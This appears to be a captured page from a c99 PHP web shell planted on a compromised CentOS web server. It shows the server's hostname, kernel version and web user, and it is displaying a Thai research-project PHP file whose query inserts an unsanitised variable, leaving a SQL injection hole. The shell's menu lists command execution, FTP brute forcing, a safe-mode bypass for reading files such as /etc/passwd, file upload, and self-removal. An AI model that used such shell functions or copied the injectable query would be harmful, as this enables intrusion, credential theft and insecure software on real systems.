!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 52.98 GB of 127.8 GB (41.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RelationDetail.php (6.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./include/FunctionDB.php");
include(
"admin_menu.php");
include(
"./include/Function.php");
ConnectDB();
$sql =  " SELECT * FROM  foreign_relation_tb  Where code='$code' ";
$result mysql_query($sql) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="841" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="841" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a> <img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="SearchRes.php">ค้นหางานวิจัย</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="Menu_Research.php">ข้อมูลวิเทศสัมพันธ</a>์</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="">
    <table width="86%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" style="border:1px solid gray" >
      <tr bgcolor="#ABD3C1">
        <td colspan="4"><div align="center"><font color="#996633" size="4" face="Tahoma"><strong><font color="#000000">ข้อมูลโครงการ/กิจกรรม</font><font color="#000000" size="4" face="Tahoma">งานวิเทศสัมพันธ์</font></strong></font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td width="36%" bgcolor="#CBE4D9"><div align="center"><font color="#000066" size="2" face="Tahoma"><strong>ชื่อโครงการ/กิจกรรม</strong></font></div></td>
        <td width="2%" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td width="62%" bgcolor="#EEEEEE"><div align="left"><strong><font size="2" face="Tahoma"><? echo $rs[Project_name]?>&nbsp;</font></strong></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#000066" size="2" face="Tahoma"><strong>วัตถุประสงค์</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo nl2br($rs[Objective])?>&nbsp;</font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#000066" size="2" face="Tahoma"><strong>กลุ่มเป้าหมาย</strong></font></div></td>
        <td bgcolor="#EEEEEE">&nbsp;</td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma"><? echo $rs[Target]?></font></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#000066" size="2" face="Tahoma"><strong>ระยะเวลา</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Period]?>&nbsp;</font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#000066" size="2" face="Tahoma"><strong>เริ่มอบรม</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Start_Date]?>&nbsp;</font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#000066" size="2" face="Tahoma"><strong>ปีการศึกษา</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Term]?>&nbsp;</font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#000066" size="2" face="Tahoma"><strong>ปีงบประมาณ</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Budget_Year]?>&nbsp;</font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>งบประมาณ</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma" color="#003399"><? echo $rs[Budget]?>&nbsp;<font color="#000000">บาท</font></font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>จำนวนที่ใช้จริง</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma" color="#009933"><? echo $rs[Budget_use]?>&nbsp;<font color="#000000">บาท</font> <font color="#003366"> <strong>คงเหลือ</strong></font><font size="2" face="Tahoma" color="#FF0000"> <? echo $rs[Dif_result]?></font> <font color="#000000">บาท</font></font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#000066" size="2" face="Tahoma"><strong>ผู้รับผิดชอบ</strong></font></div></td>
        <td bgcolor="#EEEEEE">&nbsp;</td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma"><? echo nl2br($rs[Director])?></font></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>ผู้ร่วมมือ/องค์กรณ์สนับสนุนต่างประเทศ</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Percent_ans]?>&nbsp;</font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC">
        <td bgcolor="#CBE4D9"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>ผลการดำเนินงานตามแผน</strong></font></div></td>
        <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><strong>
            <? 
      $Result_oper 
$rs[Result_oper];
      switch (
$Result_oper) {
            case 
: echo"<font color=\"#003399\">เสร็จตามแผน</font>";break;
          case 
: echo"<font color=\"#006633\">ไม่เสร็จตามแผน</font>";break;
          case 
: echo"<font color=\"#333333\">ไม่ได้ทำ</font>";break;
          }
      
      
?>
        </strong>&nbsp;</font></div></td>
      </tr>
      <tr bordercolor="#CCCCCC" bgcolor="#ABD3C1">
        <td colspan="3">&nbsp;</td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--